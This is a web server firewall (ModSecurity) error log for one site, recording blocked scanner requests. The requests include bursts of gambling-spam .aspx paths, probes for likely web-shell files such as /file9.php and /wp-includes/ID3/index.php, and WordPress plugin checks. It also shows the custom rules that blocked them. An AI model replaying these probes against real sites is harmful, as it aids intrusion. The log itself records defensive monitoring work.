[Wed Feb 18 03:15:15.128273 2026] [:error] [pid 58659:tid 58673] [client 51.75.119.153:50236] [client 51.75.119.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa%20casino.aspx"] [unique_id "aZS-Q8DX32iTEO4jt2-OZgAAAMw"]
[Wed Feb 18 03:15:17.497652 2026] [:error] [pid 2605:tid 2627] [client 51.75.119.153:50248] [client 51.75.119.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aZS-RRliizaiVjfuA2DB3AAAAhM"]
[Wed Feb 18 03:15:19.832505 2026] [:error] [pid 13106:tid 13134] [client 51.75.119.153:50256] [client 51.75.119.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aZS-R7BEWrYCV-0FRdp7wgAAAVg"]
[Wed Feb 18 03:15:22.287830 2026] [:error] [pid 58558:tid 58637] [client 51.75.119.153:50272] [client 51.75.119.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20777.aspx"] [unique_id "aZS-SimIxlfUL2nViZxNVQAAAI8"]
[Wed Feb 18 03:15:24.875121 2026] [:error] [pid 58551:tid 58576] [client 51.75.119.153:57524] [client 51.75.119.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20888.aspx"] [unique_id "aZS-TK1t8eWr-MgFspoE7gAAABA"]
[Wed Feb 18 03:15:27.193633 2026] [:error] [pid 13106:tid 13129] [client 51.75.119.153:57538] [client 51.75.119.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%2099.aspx"] [unique_id "aZS-T7BEWrYCV-0FRdp71QAAAVM"]
[Wed Feb 18 03:15:29.461366 2026] [:error] [pid 13106:tid 13112] [client 51.75.119.153:57552] [client 51.75.119.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20auto.aspx"] [unique_id "aZS-UbBEWrYCV-0FRdp73gAAAUI"]
[Wed Feb 18 03:15:31.782612 2026] [:error] [pid 2727:tid 2741] [client 51.75.119.153:57554] [client 51.75.119.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20demo.aspx"] [unique_id "aZS-UyIYJerZs7d7DPvMBwAAAow"]
[Wed Feb 18 03:15:34.115869 2026] [:error] [pid 58551:tid 58560] [client 51.75.119.153:57568] [client 51.75.119.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20free.aspx"] [unique_id "aZS-Vq1t8eWr-MgFspoE7wAAAAA"]
[Wed Feb 18 03:15:36.556084 2026] [:error] [pid 13106:tid 13129] [client 51.75.119.153:41604] [client 51.75.119.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aZS-WLBEWrYCV-0FRdp75AAAAVM"]
[Wed Feb 18 03:15:38.864960 2026] [:error] [pid 13106:tid 13126] [client 51.75.119.153:41606] [client 51.75.119.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aZS-WrBEWrYCV-0FRdp76AAAAVA"]
[Wed Feb 18 03:15:41.294889 2026] [:error] [pid 13106:tid 13122] [client 51.75.119.153:41614] [client 51.75.119.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20online.aspx"] [unique_id "aZS-XbBEWrYCV-0FRdp77gAAAUw"]
[Wed Feb 18 03:15:43.561282 2026] [:error] [pid 2605:tid 2630] [client 51.75.119.153:41622] [client 51.75.119.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aZS-XxliizaiVjfuA2DB6gAAAhY"]
[Wed Feb 18 03:15:45.857443 2026] [:error] [pid 58558:tid 58643] [client 51.75.119.153:33078] [client 51.75.119.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aZS-YSmIxlfUL2nViZxNagAAAJU"]
[Wed Feb 18 03:15:48.431661 2026] [:error] [pid 2606:tid 2642] [client 51.75.119.153:33082] [client 51.75.119.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aZS-ZFFV84PnUA8QSAjxigAAAkc"]
[Wed Feb 18 03:16:09.195844 2026] [:error] [pid 13106:tid 13113] [client 51.75.119.153:33084] [client 51.75.119.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aZS-ebBEWrYCV-0FRdp8IAAAAUM"]
[Wed Feb 18 03:16:11.681742 2026] [:error] [pid 2727:tid 2729] [client 51.75.119.153:37590] [client 51.75.119.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "aZS-eyIYJerZs7d7DPvMIAAAAoA"]
[Wed Feb 18 03:16:14.053056 2026] [:error] [pid 2606:tid 2647] [client 51.75.119.153:37600] [client 51.75.119.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aZS-flFV84PnUA8QSAjxoAAAAkw"]
[Wed Feb 18 03:16:16.557494 2026] [:error] [pid 58551:tid 58574] [client 51.75.119.153:53484] [client 51.75.119.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "aZS-gK1t8eWr-MgFspoFHQAAAA4"]
[Wed Feb 18 03:16:19.111829 2026] [:error] [pid 58659:tid 58672] [client 51.75.119.153:53500] [client 51.75.119.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "aZS-g8DX32iTEO4jt2-OhwAAAMs"]
[Wed Feb 18 03:16:21.473500 2026] [:error] [pid 42555:tid 42580] [client 51.75.119.153:53516] [client 51.75.119.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20168.aspx"] [unique_id "aZS-hfCCGB-bBphvas3zigAAAZc"]
[Wed Feb 18 03:16:23.912230 2026] [:error] [pid 2606:tid 2641] [client 51.75.119.153:53524] [client 51.75.119.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "aZS-h1FV84PnUA8QSAjxowAAAkY"]
[Wed Feb 18 03:16:26.424668 2026] [:error] [pid 13106:tid 13119] [client 51.75.119.153:38048] [client 51.75.119.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "aZS-irBEWrYCV-0FRdp8MQAAAUk"]
[Wed Feb 18 03:16:28.927012 2026] [:error] [pid 58558:tid 58642] [client 51.75.119.153:38050] [client 51.75.119.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "aZS-jCmIxlfUL2nViZxNiAAAAJQ"]
[Wed Feb 18 03:16:31.279861 2026] [:error] [pid 58551:tid 58583] [client 51.75.119.153:38060] [client 51.75.119.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "aZS-j61t8eWr-MgFspoFJwAAABc"]
[Wed Feb 18 03:16:33.648584 2026] [:error] [pid 2605:tid 2623] [client 51.75.119.153:38068] [client 51.75.119.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aZS-kRliizaiVjfuA2DCDgAAAg8"]
[Wed Feb 18 03:16:36.139449 2026] [:error] [pid 42555:tid 42561] [client 51.75.119.153:35728] [client 51.75.119.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aZS-lPCCGB-bBphvas3zjgAAAYQ"]
[Wed Feb 18 03:16:38.651794 2026] [:error] [pid 2605:tid 2630] [client 51.75.119.153:35742] [client 51.75.119.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "aZS-lhliizaiVjfuA2DCEgAAAhY"]
[Wed Feb 18 03:16:41.174024 2026] [:error] [pid 2606:tid 2641] [client 51.75.119.153:35748] [client 51.75.119.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "aZS-mVFV84PnUA8QSAjxrQAAAkY"]
[Wed Feb 18 03:16:43.679128 2026] [:error] [pid 13106:tid 13134] [client 51.75.119.153:35764] [client 51.75.119.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "aZS-m7BEWrYCV-0FRdp8RQAAAVg"]
[Wed Feb 18 03:16:46.193193 2026] [:error] [pid 58552:tid 58613] [client 51.75.119.153:42376] [client 51.75.119.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aZS-njBHVJP2Oz3yR5eTIgAAAFI"]
[Wed Feb 18 03:16:48.706592 2026] [:error] [pid 2727:tid 2732] [client 51.75.119.153:42392] [client 51.75.119.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "aZS-oCIYJerZs7d7DPvMRAAAAoM"]
[Wed Feb 18 03:16:51.225668 2026] [:error] [pid 58552:tid 58614] [client 51.75.119.153:42396] [client 51.75.119.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "aZS-ozBHVJP2Oz3yR5eTJgAAAFM"]
[Wed Feb 18 03:16:53.708173 2026] [:error] [pid 58551:tid 58582] [client 51.75.119.153:42406] [client 51.75.119.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aZS-pa1t8eWr-MgFspoFOQAAABY"]
[Wed Feb 18 03:16:56.098432 2026] [:error] [pid 58558:tid 58644] [client 51.75.119.153:57936] [client 51.75.119.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "aZS-qCmIxlfUL2nViZxNoAAAAJY"]
[Wed Feb 18 03:16:58.497866 2026] [:error] [pid 58552:tid 58602] [client 51.75.119.153:57946] [client 51.75.119.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w69%20slot.aspx"] [unique_id "aZS-qjBHVJP2Oz3yR5eTLQAAAEc"]
[Wed Feb 18 03:17:01.024133 2026] [:error] [pid 2606:tid 2641] [client 51.75.119.153:57962] [client 51.75.119.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "aZS-rVFV84PnUA8QSAjx9QAAAkY"]
[Wed Feb 18 03:17:03.510116 2026] [:error] [pid 2605:tid 2626] [client 51.75.119.153:57974] [client 51.75.119.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we88%20slot.aspx"] [unique_id "aZS-rxliizaiVjfuA2DCJwAAAhI"]
[Wed Feb 18 03:17:06.013677 2026] [:error] [pid 2605:tid 2622] [client 51.75.119.153:46088] [client 51.75.119.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aZS-shliizaiVjfuA2DCKgAAAg4"]
[Wed Feb 18 08:33:51.605019 2026] [:error] [pid 21848:tid 21910] [client 20.203.136.132:1144] [client 20.203.136.132] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/index.php"] [unique_id "aZUI7_bG91VRkVidT5daPAAAAFU"]
[Wed Feb 18 08:34:28.262898 2026] [:error] [pid 21961:tid 21979] [client 20.203.136.132:7266] [client 20.203.136.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file9.php"] [unique_id "aZUJFMUBDt_-H0ms3gWPmAAAANA"]
[Wed Feb 18 08:34:30.611617 2026] [:error] [pid 57014:tid 57034] [client 20.203.136.132:32244] [client 20.203.136.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file9.php"] [unique_id "aZUJFhNZnhS5qKtVIMI3RgAAARE"]
[Wed Feb 18 08:34:34.870643 2026] [:error] [pid 21847:tid 21877] [client 20.203.136.132:7525] [client 20.203.136.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file9.php"] [unique_id "aZUJGvy9A5wy4LuXmJ0FjAAAABM"]
[Wed Feb 18 08:34:35.992858 2026] [:error] [pid 21847:tid 21880] [client 20.203.136.132:27646] [client 20.203.136.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file9.php"] [unique_id "aZUJG_y9A5wy4LuXmJ0FlQAAABY"]
[Wed Feb 18 08:34:59.331625 2026] [:error] [pid 21847:tid 21859] [client 20.203.136.132:26194] [client 20.203.136.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file3.php"] [unique_id "aZUJM_y9A5wy4LuXmJ0FyAAAAAE"]
[Wed Feb 18 08:35:01.239427 2026] [:error] [pid 21848:tid 21900] [client 20.203.136.132:6691] [client 20.203.136.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file3.php"] [unique_id "aZUJNfbG91VRkVidT5da7QAAAEs"]
[Wed Feb 18 08:35:24.325422 2026] [:error] [pid 21848:tid 21898] [client 20.203.136.132:38842] [client 20.203.136.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/404.php"] [unique_id "aZUJTPbG91VRkVidT5dbFgAAAEk"]
[Wed Feb 18 08:49:25.944897 2026] [:error] [pid 21847:tid 21882] [client 45.67.97.52:28915] [client 45.67.97.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/owfsmac/"] [unique_id "aZUMlfy9A5wy4LuXmJ0PXwAAABg"]
[Wed Feb 18 10:42:30.763162 2026] [:error] [pid 21847:tid 21871] [client 165.245.187.140:52132] [client 165.245.187.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/profile-builder/readme.txt"] [unique_id "aZUnFvy9A5wy4LuXmJ1KmwAAAA0"]
[Wed Feb 18 10:58:29.423353 2026] [:error] [pid 21848:tid 21912] [client 54.37.252.46:45544] [client 54.37.252.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aZUq1fbG91VRkVidT5ePFQAAAFc"]
[Wed Feb 18 10:58:32.192225 2026] [:error] [pid 21849:tid 21918] [client 54.37.252.46:54934] [client 54.37.252.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aZUq2Lx9a1XrfTYnuzLYjAAAAII"]
[Wed Feb 18 10:58:34.945036 2026] [:error] [pid 21848:tid 21898] [client 54.37.252.46:60294] [client 54.37.252.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "aZUq2vbG91VRkVidT5ePIAAAAEk"]
[Wed Feb 18 12:11:53.800360 2026] [:error] [pid 57014:tid 57026] [client 43.159.140.236:43176] [client 43.159.140.236] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aZU8CRNZnhS5qKtVIMKMqQAAAQk"]
[Wed Feb 18 16:03:08.703137 2026] [:error] [pid 5561:tid 5573] [client 223.15.245.170:36368] [client 223.15.245.170] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aZVyPEoQssCZYQ4Nexae8wAAAUk"]
